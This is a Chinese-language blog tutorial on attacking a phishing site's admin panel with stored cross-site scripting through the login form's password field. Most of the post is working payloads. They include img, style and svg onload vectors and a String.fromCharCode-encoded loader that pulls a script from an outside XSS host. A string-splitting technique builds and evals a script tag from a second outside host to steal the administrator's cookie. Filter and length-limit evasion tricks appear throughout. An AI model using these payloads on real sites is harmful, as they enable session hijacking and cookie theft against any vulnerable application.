攻破黑市最流行的钓鱼网站(第二弹)
上次有人向我反映,我讲的过于快了,不适合菜鸟看,所以这次我写的相对来说比较详细~ 这对于有基础的人来说可能比较煎熬,哈哈。大家秒懂的部分可以跳过~~
也可以看看我的第一篇:《攻破黑市最流行的钓鱼网站》。
这次的比较简单:对一个目标网站进行白盒测试,
这是后台
可以看到,这边是一个钓鱼网站
对目标进行XSS白盒测试
点击领取礼包,这里会弹出一个登录框
我们随便输入一个账户密码
通过抓包修改里面的参数
目测,这里就两个参数可以测试, 一个user 一个password
放上自己最常用的payload 在password 内
user=123123112312&password=123123"><img/src=1 onerror=alert("1">//&submit=%E7%99%BB%E5%BD%95
"> 是闭合标签<img/src=1 onerror=alert("1"> 是弹窗//为注释掉后面的语法
现在我们进入后台查看,
可以看到,很明显的,我们的img标签已经执行成功了,但是没有弹窗,这是为啥?
对其右击-查看源码
查看他的属性,我们发现,alert后面的语句没有执行? 那么,我们换个标签试试
再次请求数据
user=123123112312&password=123123"><style/onload=alert(1)>//&submit=%E7%99%BB%E5%BD%95
这次进到后台查看
可以看到,这边已经成功弹窗了
然后就应该开始构造payload 啊~走起,引用我的XSS站点URL 构造的payload 应该为
“><img/src=1/>//
红色的”>部分为闭合前边的标签黄色的// 为注释掉后面的语句<img/src=1/> 这句代码主要就是引用我们XSS平台的代码,主要达到一个盗取对方cookie的效果
然后我们再一次提交数据
在password 参数里,也就是密码处添加payload,
结果后台数据没有显示。
凭着经验判断,可能是对某个字符进行了过滤,但是我自己也不知道是哪个,所以只能不断的测试 对payload编码试试。
那么使用String.fromCharCode 函数进行转换吧~~什么是String.fromCharCode函数转换呢?打个比方~ 我们把alert("1") 进行转换,
那么我们在 标签输入试试,
在页面上显示弹窗
那么我构造的payload 就应该为,
"><svg/onload=eval((String.fromCharCode(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,115,46,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,46,116,118,47,88,65,34,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59)))>//
再次请求数据,把这段payload 放到 password 参数里,
然后我们进入后台查看
好像,应该,或许成功了吧,我们查看源码试试
不行, 后来我又试了上百种payload,最终发现,这货是在服务器端限制了字符数。。。。。。。。。。。。。。。 也就是说,我们用最短的payload 弹窗可以,但是如果需要引用 自己恶意站点的URL,就需要大量的代码,这样的话就”根本”的防止了我们构造~
还好,我之前看过 剑心的 跨站拆分法 (在这里为他默哀3秒~)
何为跨站拆分?简单理解,就是一大块蛋糕放不进去冰箱,我们把它切成一小块一小块的放进去。
例子:
你们自己在脚本里输入看看,最终的效果是什么
好的,现在我们做一个最简单的测试
给变量a赋值为0;然后弹出变量a
现在我们把代码一一的放入进入 输入账号密码,抓包修改
在后台查看下,
成功保存。
输入账号密码,抓包修改,
输入完,第二段代码,让着两段叠加,那么他们就应该弹窗了吧~
现在来开始构造我们的站点吧~~
<script>z='document'</script>
<script>z=z+'.write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://xss'</script>
<script>z=z+'.sssie'</script>
<script>z=z+'.com/F'</script>
<script>z=z+'MD27h'</script>
<script>z=z+'></sc'</script>
<script>z=z+'ript>")'</script>
<script>alert(z)</script>
<script>eval(z)</script>
逐个放进去即可 然后就拿到了对方的cookie
我把我在一个论坛里的XSS教程买了下来,我看了下,由易到难,不知道对大家有没有帮助。